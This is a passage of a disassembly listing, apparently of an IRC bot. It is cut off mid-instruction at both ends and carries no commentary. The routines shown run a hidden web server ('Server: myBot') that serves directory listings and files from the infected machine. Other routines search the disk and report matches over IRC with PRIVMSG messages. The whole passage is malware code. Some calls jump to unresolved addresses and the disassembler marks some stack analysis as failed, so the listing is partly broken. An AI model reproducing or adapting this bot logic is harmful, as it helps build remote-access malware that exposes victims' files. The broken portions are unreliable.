eax, [ebp-504h] push 0 push edi push eax push dword_4CC05C nop call near ptr 71AB1AF4h push 1 call near ptr 268051Bh nop test byte ptr [esi+0Ch], 10h jz short loc_40FA4C pop edi loc_40FA84: ; CODE XREF: ___:0040FA44j push esi call sub_41B9DB pop ecx push dword_4CC05C call near ptr 71AB1A6Dh nop call near ptr 71AB1836h nop push 1 pop eax loc_40FAA0: ; CODE XREF: ___:0040FA3Ej pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAA3 proc near ; DATA XREF: sub_401AC7+2216o ; sub_40BD7C+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41C2A0 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41BD10 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4C9304 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4C9384 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FE8E mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43C24C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4C9330 cmp eax, 0FFFFFFFFh jz loc_40FE8E push 7FFFFFFFh push edi call dword_4C932C cmp eax, 0FFFFFFFFh jz loc_40FE8E lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4C93A0 cmp eax, 0FFFFFFFFh jz loc_40FE8E mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40FB7A: ; CODE XREF: sub_40FAA3+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4C92EC cmp eax, 0FFFFFFFFh jz loc_40FE89 xor esi, esi mov [ebp+var_4], esi loc_40FBB0: ; CODE XREF: sub_40FAA3+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4C91F0 test eax, eax jz loc_40FE74 cmp esi, [ebp+var_C] jnz short loc_40FC32 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4C9398 cmp eax, 0FFFFFFFFh jz loc_40FE74 xor ecx, ecx test ebx, ebx jbe short loc_40FC04 lea edx, [ebp+var_134] loc_40FBF8: ; CODE XREF: sub_40FAA3+15Fj cmp [edx], eax jz short loc_40FC04 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40FBF8 loc_40FC04: ; CODE XREF: sub_40FAA3+14Dj ; sub_40FAA3+157j cmp ecx, ebx jnz short loc_40FC21 cmp ebx, 40h jnb short loc_40FC21 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FC21: ; CODE XREF: sub_40FAA3+163j ; sub_40FAA3+168j cmp eax, [ebp+var_8] jbe loc_40FE74 mov [ebp+var_8], eax jmp loc_40FE74 ; --------------------------------------------------------------------------- loc_40FC32: ; CODE XREF: sub_40FAA3+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41BD10 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BD10 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4C931C test eax, eax jg short loc_40FCC5 push esi call dword_4C939C xor ecx, ecx test ebx, ebx jbe loc_40FE74 lea eax, [ebp+var_134] loc_40FC84: ; CODE XREF: sub_40FAA3+1EBj cmp [eax], esi jz short loc_40FC95 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FC84 jmp loc_40FE74 ; --------------------------------------------------------------------------- loc_40FC95: ; CODE XREF: sub_40FAA3+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FCB9 lea eax, [ebp+ecx*4+var_134] loc_40FCA3: ; CODE XREF: sub_40FAA3+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FCA3 loc_40FCB9: ; CODE XREF: sub_40FAA3+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FE74 ; --------------------------------------------------------------------------- loc_40FCC5: ; CODE XREF: sub_40FAA3+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41BD10 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41B960 add esp, 10h test eax, eax jbe loc_40FE74 loc_40FCF3: ; CODE XREF: sub_40FAA3+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40FD98 mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_40FD6C lea eax, [ebp+var_18F0] push eax call sub_41B960 cmp eax, 5 pop ecx jbe short loc_40FD6C mov eax, offset asc_42CDCC ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41C080 pop ecx pop ecx push eax call sub_41C080 pop ecx pop ecx push eax call sub_41C864 push eax lea eax, [ebp+var_23C] push eax call sub_41C620 add esp, 10h jmp short loc_40FD83 ; --------------------------------------------------------------------------- loc_40FD6C: ; CODE XREF: sub_40FAA3+27Fj ; sub_40FAA3+291j lea eax, [ebp+var_18F0] push offset asc_4341E4 ; "\r\n" push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_40FDB7 loc_40FD83: ; CODE XREF: sub_40FAA3+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BD10 add esp, 0Ch or esi, 0FFFFFFFFh loc_40FD98: ; CODE XREF: sub_40FAA3+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41B960 cmp [ebp+arg_0], eax pop ecx jb loc_40FCF3 jmp loc_40FE74 ; --------------------------------------------------------------------------- loc_40FDB7: ; CODE XREF: sub_40FAA3+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40FE01 lea eax, [ebp+var_134] loc_40FDC3: ; CODE XREF: sub_40FAA3+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FDD4 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FDC3 jmp short loc_40FE04 ; --------------------------------------------------------------------------- loc_40FDD4: ; CODE XREF: sub_40FAA3+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FDF8 lea eax, [ebp+ecx*4+var_134] loc_40FDE2: ; CODE XREF: sub_40FAA3+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FDE2 loc_40FDF8: ; CODE XREF: sub_40FAA3+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40FE04 ; --------------------------------------------------------------------------- loc_40FE01: ; CODE XREF: sub_40FAA3+318j mov esi, [ebp+var_4] loc_40FE04: ; CODE XREF: sub_40FAA3+32Fj ; sub_40FAA3+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40FE6D lea eax, [ebp+var_360] push eax call sub_41B960 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41B960 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FE6D and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4C93A0 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_410080 add esp, 14h jmp short loc_40FE74 ; --------------------------------------------------------------------------- loc_40FE6D: ; CODE XREF: sub_40FAA3+369j ; sub_40FAA3+38Fj push esi call dword_4C939C loc_40FE74: ; CODE XREF: sub_40FAA3+11Dj ; sub_40FAA3+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40FBB0 jmp loc_40FB7A ; --------------------------------------------------------------------------- loc_40FE89: ; CODE XREF: sub_40FAA3+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FE8E: ; CODE XREF: sub_40FAA3+6Aj ; sub_40FAA3+92j ... call dword_4C9298 push eax lea eax, [ebp+var_8F0] push offset unk_4341BC push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FED4 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409862 add esp, 14h loc_40FED4: ; CODE XREF: sub_40FAA3+40Cj lea eax, [ebp+var_8F0] push eax call sub_415CEE pop ecx push edi call dword_4C939C push [ebp+var_254] call sub_40B6C9 pop ecx push ebx nop call near ptr 26F0000h pop edi pop esi pop ebx sub_40FAA3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FEFE proc near ; DATA XREF: sub_410080+246o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41C2A0 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_41C006 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_40FF63 push offset aTextHtml ; "text/html" jmp short loc_40FF68 ; --------------------------------------------------------------------------- loc_40FF63: ; CODE XREF: sub_40FEFE+5Cj push offset aApplicationOct ; "application/octet-stream" loc_40FF68: ; CODE XREF: sub_40FEFE+63j lea eax, [ebp+var_9C] push eax call sub_41C006 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2760000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 27514C3h nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40FFE1 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C006 add esp, 24h jmp short loc_410002 ; --------------------------------------------------------------------------- loc_40FFE1: ; CODE XREF: sub_40FEFE+C4j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C006 add esp, 28h loc_410002: ; CODE XREF: sub_40FEFE+E1j lea eax, [ebp+var_1654] push edi push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4C9354 cmp [ebp+var_A4], edi jnz short loc_410042 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_4109B2 pop ecx pop ecx jmp short loc_41005F ; --------------------------------------------------------------------------- loc_410042: ; CODE XREF: sub_40FEFE+12Cj lea eax, [ebp+var_654] push eax push edi loc_41004A: ; DATA XREF: ___:00437DD0o ; ___:00437DE4o push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_410330 add esp, 10h loc_41005F: ; CODE XREF: sub_40FEFE+142j push [ebp+var_44C] call dword_4C939C push [ebp+var_B4] call sub_40B6C9 pop ecx push edi nop call near ptr 26F0000h pop edi pop esi sub_40FEFE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410080 proc near ; CODE XREF: sub_40FAA3+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41BD10 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_4100B6 push eax push offset aS_3 ; "\\%s" jmp short loc_4100BF ; --------------------------------------------------------------------------- loc_4100B6: ; CODE XREF: sub_410080+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_4100BF: ; CODE XREF: sub_410080+34j lea eax, [ebp+var_10C] push eax call sub_41C006 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41B960 test eax, eax pop ecx jbe short loc_41015A mov [ebp+arg_8], 2 loc_4100EA: ; CODE XREF: sub_410080+D8j lea eax, [ebp+var_10C] push eax call sub_41B960 cmp [ebp+arg_8], eax pop ecx jnb short loc_41012A cmp [ebp+esi+var_10C], 25h jnz short loc_41012A cmp [ebp+esi+var_10B], 32h jnz short loc_41012A cmp [ebp+esi+var_10A], 30h jnz short loc_41012A inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_410144 ; --------------------------------------------------------------------------- loc_41012A: ; CODE XREF: sub_410080+7Aj ; sub_410080+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_41013A push 5Ch pop eax jmp short loc_41013D ; --------------------------------------------------------------------------- loc_41013A: ; CODE XREF: sub_410080+B3j movsx eax, al loc_41013D: ; CODE XREF: sub_410080+B8j mov [ebp+ebx+var_210], al loc_410144: ; CODE XREF: sub_410080+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41B960 cmp esi, eax pop ecx jb short loc_4100EA loc_41015A: ; CODE XREF: sub_410080+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429ACC push eax call sub_41C006 lea eax, [ebp+var_314] push offset asc_42A084 ; "\n" push eax call sub_41C864 add esp, 18h lea eax, [ebp+var_314] push eax call near ptr 269058Ah nop push 1 cmp eax, 10h pop esi jz short loc_4101A8 cmp eax, 0FFFFFFFFh jnz short loc_4101AB push [ebp+arg_0] jmp short loc_410227 ; --------------------------------------------------------------------------- loc_4101A8: ; CODE XREF: sub_410080+11Cj mov [ebp+var_4], esi loc_4101AB: ; CODE XREF: sub_410080+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_4101B8 mov [ebp+var_4], esi loc_4101B8: ; CODE XREF: sub_410080+133j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_410232 cmp [ebp+arg_C], edi jz short loc_410226 lea eax, [ebp+var_314] push offset asc_434470 ; "*" push eax call sub_41C630 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C006 lea eax, [ebp+var_210] push eax call sub_410A6F lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41C006 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_410281 ; --------------------------------------------------------------------------- loc_410226: ; CODE XREF: sub_410080+14Fj push ebx loc_410227: ; CODE XREF: sub_410080+126j call dword_4C939C jmp loc_410329 ; --------------------------------------------------------------------------- loc_410232: ; CODE XREF: sub_410080+14Aj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call near ptr 27306D8h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_410281 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C006 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2760AD0h push esi mov [ebp+var_330], eax nop call near ptr 2660000h loc_410281: ; CODE XREF: sub_410080+1A4j ; sub_410080+1CFj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_43443C push eax call sub_41C006 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B3AD mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43C244[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FEFE push edi push edi nop call near ptr 26805C5h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43C254[ecx], eax jz short loc_4102FB loc_4102E9: ; CODE XREF: sub_410080+279j cmp [ebp+var_318], edi jnz short loc_410329 push 5 nop call near ptr 268051Bh jmp short loc_4102E9 ; --------------------------------------------------------------------------- loc_4102FB: ; CODE XREF: sub_410080+267j push ebx call dword_4C939C nop call near ptr 2680DCDh push eax lea eax, [ebp+var_8C4] push offset unk_434404 push eax call sub_41C006 lea eax, [ebp+var_8C4] push eax call sub_415CEE add esp, 10h loc_410329: ; CODE XREF: sub_410080+1ADj ; sub_410080+26Fj pop edi pop esi xor eax, eax pop ebx leave retn sub_410080 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410330 proc near ; CODE XREF: sub_401AC7+7604p ; sub_40FEFE+159p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41BD10 mov edi, [ebp+arg_0] push offset asc_42A084 ; "\n" push edi call sub_41C864 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_41038F push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41C100 add esp, 14h jmp loc_41048C ; --------------------------------------------------------------------------- loc_41038F: ; CODE XREF: sub_410330+3Aj cmp [ebp+arg_C], ebx push edi jz loc_410472 call sub_41B960 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 push edi call sub_41B960 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 0Ch jmp short loc_41048C ; --------------------------------------------------------------------------- loc_410472: ; CODE XREF: sub_410330+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 10h loc_41048C: ; CODE XREF: sub_410330+5Aj ; sub_410330+140j lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 cmp [ebp+arg_C], ebx jz short loc_410524 push [ebp+arg_C] call sub_41B960 cmp eax, 2 pop ecx jbe short loc_410524 push [ebp+arg_C] call sub_41B960 sub eax, 3 pop ecx jz short loc_4104D8 loc_4104CC: ; CODE XREF: sub_410330+1A6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_4104D8 dec eax jnz short loc_4104CC loc_4104D8: ; CODE XREF: sub_410330+19Aj ; sub_410330+1A3j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41BD70 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 loc_410524: ; CODE XREF: sub_410330+17Ej ; sub_410330+18Cj lea eax, [ebp+var_388] push eax push edi call near ptr 2790000h nop lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call near ptr 2780000h nop test eax, eax jz loc_410915 mov edi, 1FFh loc_410550: ; CODE XREF: sub_410330+5DFj cmp [ebp+var_388], ebx jz loc_4108FD lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4108FD lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4108FD lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2770503h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 2770000h nop mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_4105C5 mov ecx, offset aAm ; "AM" loc_4105C5: ; CODE XREF: sub_410330+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_4105D1 sub eax, 0Ch loc_4105D1: ; CODE XREF: sub_410330+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41C006 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_41077E inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410652 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C100 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41C100 add esp, 28h jmp loc_4108CE ; --------------------------------------------------------------------------- loc_410652: ; CODE XREF: sub_410330+2DBj cmp [ebp+arg_C], ebx jz loc_41073C push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41C100 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_35C] push eax call sub_41B960 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4106F2 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4106F7 ; --------------------------------------------------------------------------- loc_4106F2: ; CODE XREF: sub_410330+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_4106F7: ; CODE XREF: sub_410330+3C0j lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4108BF ; --------------------------------------------------------------------------- loc_41073C: ; CODE XREF: sub_410330+325j lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C100 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_410769: ; CODE XREF: sub_410330+476j lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 24h jmp loc_4108CE ; --------------------------------------------------------------------------- loc_41077E: ; CODE XREF: sub_410330+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4107A8 push ebx push [ebp+var_368] call sub_416C7D push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_410769 ; --------------------------------------------------------------------------- loc_4107A8: ; CODE XREF: sub_410330+454j cmp [ebp+arg_C], ebx jz loc_4108A8 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429ACC push edi push eax call sub_41C100 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_35C] push eax call sub_41B960 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410848 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_41084D ; --------------------------------------------------------------------------- loc_410848: ; CODE XREF: sub_410330+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_41084D: ; CODE XREF: sub_410330+516j lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 1Ch jmp short loc_4108CE ; --------------------------------------------------------------------------- loc_4108A8: ; CODE XREF: sub_410330+47Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_4108BF: ; CODE XREF: sub_410330+407j lea eax, [ebp+var_248] push eax call sub_41C100 add esp, 18h loc_4108CE: ; CODE XREF: sub_410330+31Dj ; sub_410330+449j ... lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 cmp [ebp+arg_8], ebx jz short loc_4108FD push 7D0h nop call near ptr 268051Bh loc_4108FD: ; CODE XREF: sub_410330+226j ; sub_410330+241j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 2780000h test eax, eax jnz loc_410550 loc_410915: ; CODE XREF: sub_410330+215j push 